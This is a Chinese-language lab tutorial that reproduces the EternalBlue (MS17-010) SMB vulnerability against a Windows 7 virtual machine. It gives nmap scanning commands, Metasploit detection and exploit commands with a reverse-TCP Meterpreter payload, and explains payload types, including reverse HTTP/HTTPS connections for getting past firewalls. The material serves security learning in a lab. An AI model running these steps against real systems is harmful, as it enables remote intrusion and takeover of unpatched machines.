一. 前言
1. 漏洞描述
Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
2.漏洞影响
目前已知受影响的 Windows 版本包括但不限于:Windows NT,Windows 2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。
二. 复现环境
-
虚拟环境搭建:
VMware Workstation 17 pro
-
网络模式:
NAT
-
攻击机:
kali Linux WSL
-
攻击机IP:
192.168.97.173
-
攻击工具:
nmap
metasploit(MSF)
-
靶机:
cn_windows_7_ultimate_with_sp1_x64_dvd_u_677408
(前提win7关闭防火墙) -
靶机IP:
192.168.97.128
三. 启动 MSF
-
安装MSF
1
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \chmod 755 msfinstall && \./msfinstall
-
进入框架
1
msfconsole
-
初始化
1
init
四. 寻找主机
-
ipconfig
使用
ipconfig
分别查看win7和kali中的ip地址 -
nmap
1
nmap -T5 -sP 192.168.97.0/24
-
-T5
:使用速度模板T5
,表示激进的扫描速度。 -
-sP
:执行 Ping 连接扫描。 -
192.168.97.0/24
:扫描指定的 IP 地址范围。
-
IP地址 |
|||
---|---|---|---|
私有ip范围 | 子网掩码 | CIDR | |
A类地址 | 10.0.0.0~10.255.255.255 | 255.0.0.0 | 10.0.0.0/8 |
B类地址 | 172.16.0.0~173.31.255.255 | 255.255.0.0 | 172.16.0.0/16 |
C类地址 | 192.168.0.0~192.168.255.255 | 255.255.255.0 | 192.168.0.0/24 |
五. 端口扫描
-
nmap
1
nmap -T5 -sT 192.168.97.128
-
-T5
:使用速度模板T5
,表示激进的扫描速度。 -
-sT
:执行 TCP 连接扫描。 -
192.168.97.128
:扫描指定的 IP
-
-
MSF 端口扫描
-
使用模块
1
use auxiliary/scanner/portscan/tcp
-
设置扫描ip
1
set rhosts 192.168.97.128
-
运行
1
run
-
六. 查找永恒之蓝漏洞
微软 永恒之蓝 编号ms17-010
|
|
-
exploit/windows/smb/ms17_010_eternalblue
- 这个模块利用了MS17-010漏洞,通过EternalBlue攻击载荷,远程执行代码。
- EternalBlue利用Windows的Server Message Block(SMB)协议中的漏洞,允许攻击者在目标机器上执行任意代码。
- 攻击成功后,通常会在目标机器上生成一个Meterpreter会话,从而允许进一步的渗透测试操作。
-
exploit/windows/smb/ms17_010_psexec
- 这个模块结合MS17-010漏洞和Psexec技术,通过SMB协议在目标系统上执行命令。
- 利用MS17-010漏洞进行初始攻击,然后使用Psexec进行进一步的远程命令执行。
- 适用于在利用MS17-010漏洞后希望使用Psexec执行进一步的命令和控制操作时。
-
auxiliary/admin/smb/ms17_010_command
- 这个辅助模块用于通过MS17-010漏洞在目标系统上执行指定的命令。
- 不会生成一个持久的会话,而是直接执行特定的命令并返回结果。
- 适用于希望通过MS17-010漏洞在目标系统上执行单个命令的场景。
-
auxiliary/scanner/smb/smb_ms17_010
- 这个辅助模块用于扫描目标系统是否存在MS17-010漏洞。
- 不会进行实际的漏洞利用或攻击,而是仅检测目标系统是否易受MS17-010漏洞的影响。
七. 漏洞检测
-
使用探测模块
-
使用
Auxiliary
辅助探测模块1
use auxiliary/scanner/smb/smb_ms17_010
或
1
use 24
-
查看需要配置的参数
1
show options
-
设置目标主机地址
1
set rhosts 192.168.97.128
-
运行
1
run
-
-
nmap
1
nmap --script smb-vuln-ms17-010 192.168.97.128
八. 漏洞攻击
-
加载 ms17-010 攻击模块
1
use exploit/windows/smb/ms17_010_eternalblue
-
设置目标主机地址
1
set rhosts 192.168.97.128
-
设置连接方式为反向连接
1
set payload windows/x64/meterpreter/reverse_tcp
-
运行
1
run
Meterpreter的命令用法
|
|
使用方法
基础使用:
-
进入框架
1
msfconsole
-
查找漏洞
1
search 漏洞编号
-
使用模块
1
run
Meterpreter工作原理:
首先目标先要执行初始的溢出漏洞会话连接,可能是 bind正向连接,或者反弹 reverse 连接。反射连接的时候加载dll链接文件,同时后台悄悄处理 dll 文件。其次Meterpreter核心代码初始化,通过 socket套接字建立一个TLS/1.0加密隧道并发送GET请求给Metasploit服务端。Metasploit服务端收到这个GET请求后就配置相应客户端。最后,Meterpreter加载扩展,所有的扩展被加载都通过TLS/1.0进行数据传输。
漏洞利用(exploit):
漏洞利用exploit,也就是我们常说的exp,他就是对漏洞进行攻击的代码。
exploit漏洞利用模块路径(这里面有针对不同平台的exploit):
|
|
攻击载荷(payload):
Payload:Payload中包含攻击进入目标主机后需要在远程系统中运行的恶意代码,而在Metasploit中Payload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为。
Shellcode:Shellcode是payload中的精髓部分,在渗透攻击时作为攻击载荷运行的一组机器指令。Shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode这一组指令之后,才会提供一个命令行shell。
payload模块路径:
|
|
Metasploit中的 Payload 模块主要有以下三种类型:
-
Single:
是一种完全独立的Payload,而且使用起来就像运行calc.exe一样简单,例如添加一个系统用户或删除一份文件。由于Single Payload是完全独立的,因此它们有可能会被类似netcat这样的非metasploit处理工具所捕捉到。
-
Stager:
这种Payload 负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。一种常见的Stager Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条 tcp 连接,让目标系统主动连接我们的端口(反向连接)。另一种常见的是bind_tcp,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信(正向连接)。
-
Stage:
是Stager Payload下的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有大小限制。
几种常见的payload:
-
正向连接
1
windows/meterpreter/bind_tcp
-
反向连接
1
windows/meterpreter/reverse_tcp
-
过监听80端口反向连接
1
windows/meterpreter/reverse_http
-
通过监听443端口反向连接
1
windows/meterpreter/reverse_https
使用场景
-
正向连接使用场景:
我们的攻击机在内网环境,被攻击机是外网环境,由于被攻击机无法主动连接到我们的主机,所以就必须我们主动连接被攻击机了。但是这里经常遇到的问题是,被攻击机上开了防火墙,只允许访问指定的端口,比如被攻击机只对外开放了80端口。那么,我们就只能设置正向连接80端口了,这里很有可能失败,因为80端口上的流量太多了。
-
反向连接使用场景:
我们的主机和被攻击机都是在外网或者都是在内网,这样被攻击机就能主动连接到我们的主机了。如果是这样的情况,建议使用反向连接,因为反向连接的话,即使被攻击机开了防火墙也没事,防火墙只是阻止进入被攻击机的流量,而不会阻止被攻击机主动向外连接的流量。
-
反向连接80和443端口使用场景:
被攻击机能主动连接到我们的主机,还有就是被攻击机的防火墙设置的特别严格,就连被攻击机访问外部网络的流量也进行了严格的限制,只允许被攻击机的80端口或443端口与外部通信。